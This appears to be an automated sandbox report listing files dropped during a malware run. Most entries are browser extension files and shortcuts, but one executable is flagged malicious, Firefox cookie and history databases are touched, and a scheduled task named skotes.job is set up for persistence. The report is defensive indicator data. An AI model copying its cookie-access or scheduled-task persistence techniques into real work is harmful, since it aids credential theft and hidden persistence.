Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 16:28:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.979761401192171
Encrypted:	false
SSDEEP:	48:8rdqCTKuzHHbidAKZdA19ehwiZUklqehvy+3:8FXt8y
MD5:	129F5B494D28DAAF3EAE9F12E88856C0
SHA1:	D1102AE00DEE848DA583505DDD1A0FE3788B8692
SHA-256:	3FE8833DF59D05605628CFC983C793BA6BBDBFB42E5CE86495FB4C8C2E93A81A
SHA-512:	7D2DCD7046D2EA35EDB7C3FD433D149F0F151C785F921AEF613737BA93CFE0317F5484CCE31FD88FB64DADB78969A6B888D3A4295C8B3F91F35CBC9EDF02E0E7
Malicious:	false
Preview:	L..................F.@.. ...$+.,....w..j_?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 16:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.99335207541986
Encrypted:	false
SSDEEP:	48:8xdqCTKuzHHbidAKZdA1weh/iZUkAQkqehsy+2:8DXH9Qdy
MD5:	ECCB5DA1A86D19A4097BFE07122EDAEF
SHA1:	0E6D259B528F92B52874A1244B1395692A100AC1
SHA-256:	F470358916C69191D3F8AAA4147EFFAD3BA8B208AF2337F1588748D86EFACCAB
SHA-512:	36E738E36FE73F8D06F71730FA65CCFF8C4826CC7878513D589EAB4C368C5953C9756C57BB142517AF1E826F4B5F7F146B439C4605E80216CA1BAE1F8A09040C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......j_?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006952004375524
Encrypted:	false
SSDEEP:	48:8xMdqCTKuzsHbidAKZdA14tseh7sFiZUkmgqeh7sCy+BX:8x8XGn4y
MD5:	EAD82C1335D36CBB4518FFC31C30C0AF
SHA1:	AF52794090E3A3E2E2D336F150DDDE887F468729
SHA-256:	3EC638D514609DA2AE0C4A5E997D6ACCA363D127D8DCF2E59549901433A64534
SHA-512:	3AA279B1A04A7EB497D9ED0CEE0A0F0BB7E3A5E766332E92821A465A42F327437F2D4FB1EDAF0D401536216749E8C34F0AF3E2685F3CBA2E65A17A8960638CBE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 16:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9957651605245843
Encrypted:	false
SSDEEP:	48:8XTdqCTKuzHHbidAKZdA1vehDiZUkwqehQy+R:8dXk6y
MD5:	E5995B0EF0D78D36518FBB277160ED42
SHA1:	8E9E577AE49F0A63A34F5DDAD517582C37BF6B02
SHA-256:	B8114B4CF840AB1E870853B0C77D2225905A820ACE3A30187DFE3537B68AD4D9
SHA-512:	A88C5C263B31E7074007315539F86DEBAE550C66040AA0828055879407CFB7F8E3F3DFF0D6E5F05CE206037DB344F94DA3424C02B5E123B5FE8A9B00E8989DB8
Malicious:	false
Preview:	L..................F.@.. ...$+.,......j_?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 16:28:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9839259117724652
Encrypted:	false
SSDEEP:	48:82YdqCTKuzHHbidAKZdA1hehBiZUk1W1qeh+y+C:8LXk9ey
MD5:	E4BAF499CA3C99A613381A1DC8622503
SHA1:	479D4045EA5E5B17E54D82669D71329D393889D8
SHA-256:	39AD4FCD84EBD0DB863CD692FDD8941CB89E3AA6F03FC358811938DEC533DE1F
SHA-512:	93BB0DBC207B2E1179C2032CD23270EE779A13EB078F75C1A9A7899E7AFAC204C7E942BF1973D257E5552FE042C1F6E1B05BE4B243A3B9F7C6B984AB138AEF79
Malicious:	false
Preview:	L..................F.@.. ...$+.,......j_?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 16:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9920410797498858
Encrypted:	false
SSDEEP:	48:8KdqCTKuzHHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb4y+yT+:8qXKT/TbxWOvTb4y7T
MD5:	6F7EF33A24FC983D5ED3C5E6B7E4C961
SHA1:	9D26B6D75BC26BD2D80BA24BA71FE6B16A8E107C
SHA-256:	A1811E686DAA070F4EBF8C9EF516E3DE28E7FD12671B81199E573E9A2F1F3828
SHA-512:	038E65D8F2F89E883E65ABDEB19A97F4DD1921565AD9906D5ECD09F0B624CAF90D65B1EABF94154BFA1E6D635322C7D8967E828AFE3A9BEB6810C3F239CA3370
Malicious:	false
Preview:	L..................F.@.. ...$+.,...../~j_?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDBGIJEHIID.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853440
Entropy (8bit):	7.950217684758904
Encrypted:	false
SSDEEP:	24576:Ccxa7+E14OfJuo3gxN/DqRJ3wNbysmbeTJ7WIeY4NAzfNf1IiG+3NdZSKphR8LPs:DM7+QB3YMRJ3wlysjTWstPG+cxPA6Ja
MD5:	B20E350B0C7795A2BD612C71136B55AD
SHA1:	63179AEDEB2EC8554C1F166E53D9ECA01A59666F
SHA-256:	417360B3B5B43C821053CB11FAD9E80C10CB02B1E6E6A4BE43B745859C592382
SHA-512:	FD3E9E7E8359A825E5FC7B182C2B1F98E2CAF67671349B353CC0A6A0024ECCD0283F9E3ADFB4253D013790589FCD1AF7B63E06B7C2DAD553348A2B402A06F019
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......D....................jI..............................iI..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...udcljtek.0...@0..,..................@...bcsmrgvx.....pI......"..............@....taggant.0....I.."...&..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDBGIJEHIID.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.426534237396231
Encrypted:	false
SSDEEP:	6:vYcHWpenVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB0Ut0:HWkRuQ1CGAFifXVB0Ut0
MD5:	E683E8B95AA208461C71368E45FEB2B7
SHA1:	D64502D455DCC47A3517CB7C26334DB73126C6D1
SHA-256:	491461BCC5639315078EB0F4B5C21CF2A16B2A14ADC25DB68238A7D5692F76E1
SHA-512:	6005A5558583B3AE03E350597233D1A7C237117153F4240C800FF9058616B0998F2F9DE5F8529EC35E04C69DE5D6908667FEAAFAD3B726D5D5D5152C091C8EC0
Malicious:	false
Preview:	....q=.6.1.A./......F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7332)
Category:	downloaded
Size (bytes):	7337
Entropy (8bit):	5.797516706535804
Encrypted:	false
SSDEEP:	96:0gK7likRpPQYiuL3cV5Lw9bJIN66662+rlBgvcbZpDDJrIT/OXOM9TFTfQffo:MRN4Yp+w9mN66663lSvyDRILe59x3
